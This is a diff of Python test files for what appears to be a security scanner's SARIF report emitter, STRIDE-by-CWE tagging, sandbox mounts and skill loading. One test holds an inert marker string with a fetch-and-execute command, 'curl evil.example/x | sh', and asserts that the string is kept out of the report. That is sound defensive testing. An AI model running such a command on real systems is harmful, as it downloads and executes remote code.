doc = json.loads((run_dir / "findings.sarif").read_text(encoding="utf-8"))
assert isinstance(doc, dict)
return doc
def _finding(**overrides: Any) -> dict[str, Any]:
base: dict[str, Any] = {
"id": "vuln-0001",
"title": "SQL Injection in get_user",
"severity": "critical",
"cwe": "CWE-89",
"timestamp": "2026-07-02 10:00:00 UTC",
"code_locations": [{"file": "app.py", "start_line": 4}],
}
base.update(overrides)
return base
def test_write_sarif_basic_shape(tmp_path: Path) -> None:
write_sarif(tmp_path, [_finding()])
doc = _read(tmp_path)
assert doc["version"] == "2.1.0"
assert "2.1.0" in doc["$schema"]
run = doc["runs"][0]
assert run["tool"]["driver"]["name"] == "Strix"
assert len(run["results"]) == 1
loc = run["results"][0]["locations"][0]["physicalLocation"]
assert loc["artifactLocation"]["uri"] == "app.py"
assert loc["region"]["startLine"] == 4
def test_write_sarif_always_emits_for_zero_findings(tmp_path: Path) -> None:
# A clean run must still write an (empty) document so a SARIF consumer can
# auto-resolve alerts that are absent from the new submission.
out = write_sarif(tmp_path, [])
assert out.exists()
doc = _read(tmp_path)
assert doc["version"] == "2.1.0"
assert doc["runs"][0]["results"] == []
def test_write_sarif_tool_version_is_reported(tmp_path: Path) -> None:
write_sarif(tmp_path, [_finding()], tool_version="9.9.9")
assert _read(tmp_path)["runs"][0]["tool"]["driver"]["version"] == "9.9.9"
def test_write_sarif_locationless_finding_is_anchored_not_dropped(tmp_path: Path) -> None:
# A finding with no code location must still appear (anchored to a stable
# fallback), never be silently dropped from the report.
write_sarif(tmp_path, [_finding(id="vuln-0002", code_locations=None)])
results = _read(tmp_path)["runs"][0]["results"]
assert len(results) == 1
uri = results[0]["locations"][0]["physicalLocation"]["artifactLocation"]["uri"]
assert uri == "SECURITY.md"
def test_write_sarif_fingerprint_stable_across_title_rewording(tmp_path: Path) -> None:
# The same finding at the same location with a reworded title must keep the
# same partialFingerprints, so a re-scan doesn't churn code-scanning alerts.
a = tmp_path / "a"
b = tmp_path / "b"
a.mkdir()
b.mkdir()
write_sarif(a, [_finding(title="SQL Injection in get_user")])
write_sarif(b, [_finding(title="SQLi via string-formatted query in get_user")])
fp_a = _read(a)["runs"][0]["results"][0]["partialFingerprints"]
fp_b = _read(b)["runs"][0]["results"][0]["partialFingerprints"]
assert fp_a == fp_b
def test_write_sarif_distinct_findings_get_distinct_fingerprints(tmp_path: Path) -> None:
write_sarif(
tmp_path,
[
_finding(
id="vuln-0001", cwe="CWE-89", code_locations=[{"file": "app.py", "start_line": 4}]
),
_finding(
id="vuln-0002", cwe="CWE-78", code_locations=[{"file": "cmd.py", "start_line": 4}]
),
],
)
results = _read(tmp_path)["runs"][0]["results"]
assert len(results) == 2
fps = {json.dumps(r["partialFingerprints"], sort_keys=True) for r in results}
assert len(fps) == 2
def test_write_sarif_never_embeds_poc_script(tmp_path: Path) -> None:
# SARIF is written for external upload; the weaponized exploit body must
# never appear in it. Only a presence flag + the description are surfaced.
# NOTE: `marker` is an inert string literal (a stand-in for an exploit
# payload) that this test asserts is ABSENT from the output — it is never
# executed, parsed, or run as code.
marker = "EXPLOIT-PAYLOAD-MARKER curl evil.example/x | sh"
write_sarif(
tmp_path,
[
_finding(
poc_description="Send a crafted request to trigger the sink.",
poc_script_code=marker,
)
],
)
raw = (tmp_path / "findings.sarif").read_text(encoding="utf-8")
assert marker not in raw
assert "EXPLOIT-PAYLOAD-MARKER" not in raw
poc = _read(tmp_path)["runs"][0]["results"][0]["properties"]["strix"]["poc"]
assert poc["script_available"] is True
assert "script" not in poc
assert poc["description"] == "Send a crafted request to trigger the sink."
def test_write_sarif_builds_fixes_from_code_location_fix_pairs(tmp_path: Path) -> None:
# A code location carrying fix_before/fix_after must surface as a SARIF
# fix (artifactChange/replacement) so consumers can offer a one-click fix.
write_sarif(
tmp_path,
[
_finding(
remediation_steps="Use a parameterized query.",
code_locations=[
{
"file": "app.py",
"start_line": 4,
"end_line": 4,
"fix_before": 'query = "SELECT * FROM u WHERE id=" + uid',
"fix_after": 'query = "SELECT * FROM u WHERE id=%s"',
}
],
)
],
)
result = _read(tmp_path)["runs"][0]["results"][0]
fixes = result["fixes"]
assert len(fixes) == 1
change = fixes[0]["artifactChanges"][0]
assert change["artifactLocation"]["uri"] == "app.py"
replacement = change["replacements"][0]
assert replacement["deletedRegion"]["startLine"] == 4
assert replacement["insertedContent"]["text"] == 'query = "SELECT * FROM u WHERE id=%s"'
def test_write_sarif_omits_fixes_without_fix_pairs(tmp_path: Path) -> None:
write_sarif(tmp_path, [_finding()])
assert "fixes" not in _read(tmp_path)["runs"][0]["results"][0]
def test_write_sarif_adds_logical_location_for_endpoint(tmp_path: Path) -> None:
# DAST findings hang off an endpoint; it must be preserved as a logical
# location so the finding keeps an addressable anchor.
write_sarif(tmp_path, [_finding(endpoint="GET /api/users/{id}")])
locations = _read(tmp_path)["runs"][0]["results"][0]["locations"]
logical = [
entry
for loc in locations
for entry in loc.get("logicalLocations", [])
if entry.get("kind") == "endpoint"
]
assert logical == [{"fullyQualifiedName": "GET /api/users/{id}", "kind": "endpoint"}]
def test_write_sarif_synthetic_finding_falls_back_to_resource_logical_location(
tmp_path: Path,
) -> None:
# No code location and no endpoint: the target becomes a resource logical
# location so a locationless finding still carries a meaningful anchor.
write_sarif(
tmp_path,
[_finding(code_locations=None, endpoint=None, target="https://api.example.com")],
)
result = _read(tmp_path)["runs"][0]["results"][0]
assert result["properties"]["synthetic_location"] is True
logical = [
entry
for loc in result["locations"]
for entry in loc.get("logicalLocations", [])
if entry.get("kind") == "resource"
]
assert logical == [{"fullyQualifiedName": "https://api.example.com", "kind": "resource"}]
def test_write_sarif_emits_version_control_provenance(tmp_path: Path) -> None:
write_sarif(
tmp_path,
[_finding()],
repository_context={
"repositoryUri": "https://github.com/acme/widget",
"repositoryFullName": "acme/widget",
"commitSha": "abc123def456",
"branch": "main",
"ref": "refs/heads/main",
},
)
run = _read(tmp_path)["runs"][0]
assert run["automationDetails"] == {"id": "strix/acme/widget"}
provenance = run["versionControlProvenance"][0]
assert provenance == {
"repositoryUri": "https://github.com/acme/widget",
"revisionId": "abc123def456",
"branch": "main",
}
assert run["properties"]["repository"] == "acme/widget"
assert run["properties"]["commit_sha"] == "abc123def456"
assert run["properties"]["ref"] == "refs/heads/main"
def test_write_sarif_omits_provenance_when_no_repository_context(tmp_path: Path) -> None:
# DAST / URL scans have no VCS; provenance fields must be absent, not empty.
write_sarif(tmp_path, [_finding()])
run = _read(tmp_path)["runs"][0]
assert "versionControlProvenance" not in run
assert "automationDetails" not in run
def test_write_sarif_replaces_atomically_no_partial_on_reemit(tmp_path: Path) -> None:
# A re-emit must land a complete document, never leave a stray temp file
# or a truncated target alongside it.
write_sarif(tmp_path, [_finding()])
write_sarif(tmp_path, [_finding(), _finding(id="vuln-0002", cwe="CWE-78")])
# Only the final artifact remains — no leftover .tmp siblings.
leftovers = [p.name for p in tmp_path.iterdir() if p.name != "findings.sarif"]
assert leftovers == []
# And it parses as a complete document with both findings.
assert len(_read(tmp_path)["runs"][0]["results"]) == 2
+115
View File
@@ -0,0 +1,115 @@
"""STRIDE-leg tagging in the SARIF emitter (strix.report.sarif).
Every finding's SARIF rule (and, by inheritance via ``ruleId``, its results)
carries one or more ``stride:<leg>`` tags derived from the finding's CWE, so the
GitHub code-scanning Security tab and ASPM dashboards can group/filter by
threat-model leg. Unmapped or no-CWE findings fall back to a default so coverage
reports have no gaps.
"""
from __future__ import annotations
from typing import Any
import pytest
from strix.report.sarif import (
_CWE_TO_STRIDE,
_DEFAULT_STRIDE_LEGS,
_stride_legs_for_cwe,
build_sarif_report,
)
def _finding(**overrides: Any) -> dict[str, Any]:
finding: dict[str, Any] = {
"id": "vuln-0001",
"title": "Missing authentication on gRPC endpoint",
"severity": "critical",
"cwe": "CWE-306",
"description": "The gRPC server registers no auth interceptor.",
}
finding.update(overrides)
return finding
def _rule_tags(doc: dict[str, Any]) -> list[str]:
return doc["runs"][0]["tool"]["driver"]["rules"][0]["properties"]["tags"]
def test_stride_tags_on_rule_for_known_cwe() -> None:
"""CWE-306 (Missing Authentication) maps to S+E, alongside existing tags."""
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-306")]))
assert "stride:S" in tags
assert "stride:E" in tags
assert "security" in tags # existing tags preserved
assert "CWE-306" in tags
def test_stride_tags_attach_to_rule_not_duplicated_on_result() -> None:
"""STRIDE tags live on the RULE; results inherit them via ruleId (standard
SARIF) rather than duplicating — the result carries the matching ruleId and
its own strix.* properties, not a redundant tags copy."""
doc = build_sarif_report([_finding(cwe="CWE-306")])
rule = doc["runs"][0]["tool"]["driver"]["rules"][0]
result = doc["runs"][0]["results"][0]
assert result["ruleId"] == rule["id"] # inherits via ruleId
assert {"stride:S", "stride:E"} <= set(rule["properties"]["tags"])
assert "tags" not in result["properties"] # not duplicated
def test_stride_default_for_unmapped_cwe() -> None:
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-99999")]))
assert "stride:T" in tags and "stride:I" in tags
def test_stride_default_for_no_cwe() -> None:
tags = _rule_tags(build_sarif_report([_finding(cwe=None)]))
assert "stride:T" in tags and "stride:I" in tags
def test_stride_sql_injection_is_tampering_not_spoofing() -> None:
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-89")]))
assert "stride:T" in tags
assert "stride:S" not in tags # SQLi is tampering, not auth-shape
def test_stride_idor_is_elevation() -> None:
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-639")]))
assert "stride:E" in tags
def test_stride_cleartext_transmission_is_info_disclosure() -> None:
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-319")]))
assert "stride:I" in tags
def test_stride_hardcoded_credentials_is_spoofing() -> None:
"""CWE-798 (Hard-coded Credentials) is Spoofing (+ Info disclosure), not the
generic default."""
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-798")]))
assert "stride:S" in tags
assert set(_stride_legs_for_cwe("CWE-798")) != set(_DEFAULT_STRIDE_LEGS)
def test_stride_missing_authorization_is_elevation() -> None:
"""CWE-862 (Missing Authorization) is Elevation of privilege — sibling of
863 Incorrect Authorization."""
tags = _rule_tags(build_sarif_report([_finding(cwe="CWE-862")]))
assert "stride:E" in tags
assert "stride:T" not in tags # not the default
@pytest.mark.parametrize("raw", ["CWE-306", "306", "cwe 306", "CWE306"])
def test_stride_cwe_normalisation_variants(raw: str) -> None:
"""CWE id variants all resolve to the same legs (S+E for 306)."""
tags = _rule_tags(build_sarif_report([_finding(cwe=raw)]))
assert "stride:S" in tags and "stride:E" in tags
def test_every_leg_letter_is_valid() -> None:
"""Sanity: the mapping only emits the six canonical STRIDE letters."""
valid = {"S", "T", "R", "I", "D", "E"}
for legs in _CWE_TO_STRIDE.values():
assert set(legs) <= valid, f"invalid STRIDE leg in {legs}"
assert set(_DEFAULT_STRIDE_LEGS) <= valid
+67
View File
@@ -0,0 +1,67 @@
"""Tests for build_session_entries: splitting copied vs bind-mounted sources."""
from __future__ import annotations
from typing import TYPE_CHECKING, Any
from agents.sandbox.entries import LocalDir
from strix.runtime.session_manager import build_session_entries
if TYPE_CHECKING:
from pathlib import Path
def _source(subdir: str, path: str, *, mount: bool = False) -> dict[str, Any]:
return {"source_path": path, "workspace_subdir": subdir, "mount": mount}
def test_copied_source_becomes_localdir_entry(tmp_path: Path) -> None:
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path))])
assert bind_mounts == []
assert isinstance(entries["repo"], LocalDir)
assert entries["repo"].src == tmp_path.resolve()
def test_mounted_source_becomes_bind_mount(tmp_path: Path) -> None:
entries, bind_mounts = build_session_entries([_source("repo", str(tmp_path), mount=True)])
assert entries == {}
assert bind_mounts == [
{
"source": str(tmp_path.resolve()),
"target": "/workspace/repo",
"read_only": True,
}
]
def test_mixed_sources_split_correctly(tmp_path: Path) -> None:
copied = tmp_path / "copied"
mounted = tmp_path / "mounted"
copied.mkdir()
mounted.mkdir()
entries, bind_mounts = build_session_entries(
[
_source("copied", str(copied)),
_source("mounted", str(mounted), mount=True),
]
)
assert list(entries) == ["copied"]
assert isinstance(entries["copied"], LocalDir)
assert [m["target"] for m in bind_mounts] == ["/workspace/mounted"]
def test_incomplete_sources_are_skipped() -> None:
entries, bind_mounts = build_session_entries(
[
{"source_path": "", "workspace_subdir": "x"},
{"source_path": "/p", "workspace_subdir": ""},
]
)
assert entries == {}
assert bind_mounts == []
+120
View File
@@ -0,0 +1,120 @@
from pathlib import Path
import pytest
import strix.skills as skills_mod
from strix.skills import (
get_all_skill_names,
get_available_skills,
load_skills,
register_skill_dir,
registered_skill_dirs,
skill_search_dirs,
validate_requested_skills,
)
@pytest.fixture(autouse=True)
def _clear_extra_dirs() -> None:
original = list(skills_mod._EXTRA_SKILL_DIRS)
skills_mod._EXTRA_SKILL_DIRS.clear()
try:
yield
finally:
skills_mod._EXTRA_SKILL_DIRS[:] = original
def _write_skill(root: Path, category: str, name: str, body: str) -> None:
category_dir = root / category
category_dir.mkdir(parents=True, exist_ok=True)
(category_dir / f"{name}.md").write_text(body, encoding="utf-8")
def _write_root_skill(root: Path, name: str, body: str) -> None:
root.mkdir(parents=True, exist_ok=True)
(root / f"{name}.md").write_text(body, encoding="utf-8")
def test_no_registration_leaves_builtin_only() -> None:
assert registered_skill_dirs() == ()
builtin = skills_mod.get_strix_resource_path("skills")
assert skill_search_dirs() == (builtin,)
assert {"nmap", "subfinder"}.issubset(get_available_skills()["tooling"])
def test_register_is_idempotent_and_ordered(tmp_path: Path) -> None:
a = tmp_path / "a"
b = tmp_path / "b"
a.mkdir()
b.mkdir()
register_skill_dir(a)
register_skill_dir(b)
register_skill_dir(a)
# Most recently registered wins → highest precedence first.
assert registered_skill_dirs() == (b, a)
def test_registered_dir_adds_new_skill(tmp_path: Path) -> None:
_write_skill(tmp_path, "extra", "widget", "widget body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["extra"] == ["widget"]
assert load_skills(["widget"]) == {"widget": "widget body"}
def test_registered_root_skill_is_discoverable_and_valid(tmp_path: Path) -> None:
_write_root_skill(tmp_path, "widget", "widget body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["root"] == ["widget"]
assert validate_requested_skills(["widget"]) is None
assert validate_requested_skills(["root/widget"]) is None
assert load_skills(["widget"]) == {"widget": "widget body"}
assert load_skills(["root/widget"]) == {"widget": "widget body"}
def test_ambiguous_bare_skill_requires_qualified_name(tmp_path: Path) -> None:
_write_skill(tmp_path, "alpha", "widget", "alpha body")
_write_skill(tmp_path, "beta", "widget", "beta body")
register_skill_dir(tmp_path)
assert "widget" in get_all_skill_names()
assert get_available_skills()["alpha"] == ["widget"]
assert get_available_skills()["beta"] == ["widget"]
assert validate_requested_skills(["alpha/widget"]) is None
assert validate_requested_skills(["beta/widget"]) is None
error = validate_requested_skills(["widget"])
assert error is not None
assert "Ambiguous skill name" in error
assert "alpha/widget" in error
assert "beta/widget" in error
assert load_skills(["widget"]) == {}
assert load_skills(["alpha/widget"]) == {"widget": "alpha body"}
assert load_skills(["beta/widget"]) == {"widget": "beta body"}
def test_registered_dir_overrides_builtin_skill(tmp_path: Path) -> None:
_write_skill(tmp_path, "coordination", "root_agent", "overridden root agent")
register_skill_dir(tmp_path)
loaded = load_skills(["coordination/root_agent"])
assert loaded["root_agent"] == "overridden root agent"
def test_builtin_skill_still_loads_when_not_overridden(tmp_path: Path) -> None:
_write_skill(tmp_path, "extra", "widget", "widget body")
register_skill_dir(tmp_path)
# A packaged skill the registered dir does not shadow still resolves.
assert load_skills(["scan_modes/deep"]).get("deep")
def test_missing_skill_is_skipped(tmp_path: Path) -> None:
register_skill_dir(tmp_path)
assert load_skills(["does_not_exist"]) == {}
+94
View File
@@ -0,0 +1,94 @@
"""Tests for SARIF repository-context derivation in strix.report.state."""
from __future__ import annotations
import subprocess
from typing import TYPE_CHECKING
from strix.report.state import ReportState, _parse_repo_full_name
if TYPE_CHECKING:
from pathlib import Path
def test_parse_repo_full_name_handles_common_forms() -> None:
assert _parse_repo_full_name("https://github.com/acme/widget") == "acme/widget"
assert _parse_repo_full_name("https://github.com/acme/widget.git") == "acme/widget"
assert _parse_repo_full_name("git@github.com:acme/widget.git") == "acme/widget"
assert _parse_repo_full_name("acme/widget") == "acme/widget"
assert _parse_repo_full_name("") is None
assert _parse_repo_full_name("nothost") is None
def test_repository_context_none_for_non_repository_targets() -> None:
state = ReportState(run_name="t")
state.run_record["targets_info"] = [
{"type": "web_application", "details": {"target_url": "https://example.com"}}
]
assert state._sarif_repository_context() is None
def test_repository_context_uri_only_without_clone() -> None:
state = ReportState(run_name="t")
state.run_record["targets_info"] = [
{"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}}
]
ctx = state._sarif_repository_context()
assert ctx == {
"repositoryUri": "https://github.com/acme/widget",
"repositoryFullName": "acme/widget",
}
def test_repository_context_none_for_multiple_repository_targets() -> None:
state = ReportState(run_name="t")
state.run_record["targets_info"] = [
{"type": "repository", "details": {"target_repo": "https://github.com/acme/widget"}},
{"type": "repository", "details": {"target_repo": "https://github.com/acme/api"}},
]
assert state._sarif_repository_context() is None
def test_repository_context_derives_commit_and_branch_from_clone(tmp_path: Path) -> None:
repo = tmp_path / "widget"
repo.mkdir()
def _git(*args: str) -> None:
subprocess.run( # noqa: S603
["git", "-C", str(repo), *args], # noqa: S607
check=True,
capture_output=True,
)
_git("init", "-b", "main")
_git("config", "user.email", "t@example.com")
_git("config", "user.name", "Test")
(repo / "README.md").write_text("hi", encoding="utf-8")
_git("add", "README.md")
_git("commit", "-m", "init")
head = subprocess.run( # noqa: S603
["git", "-C", str(repo), "rev-parse", "HEAD"], # noqa: S607
check=True,
capture_output=True,
text=True,
).stdout.strip()
state = ReportState(run_name="t")
state.run_record["targets_info"] = [
{
"type": "repository",
"details": {
"target_repo": "https://github.com/acme/widget",
"cloned_repo_path": str(repo),
},
}
]
ctx = state._sarif_repository_context()
assert ctx is not None
assert ctx["repositoryUri"] == "https://github.com/acme/widget"
assert ctx["repositoryFullName"] == "acme/widget"
assert ctx["commitSha"] == head
assert ctx["branch"] == "main"
assert ctx["ref"] == "refs/heads/main"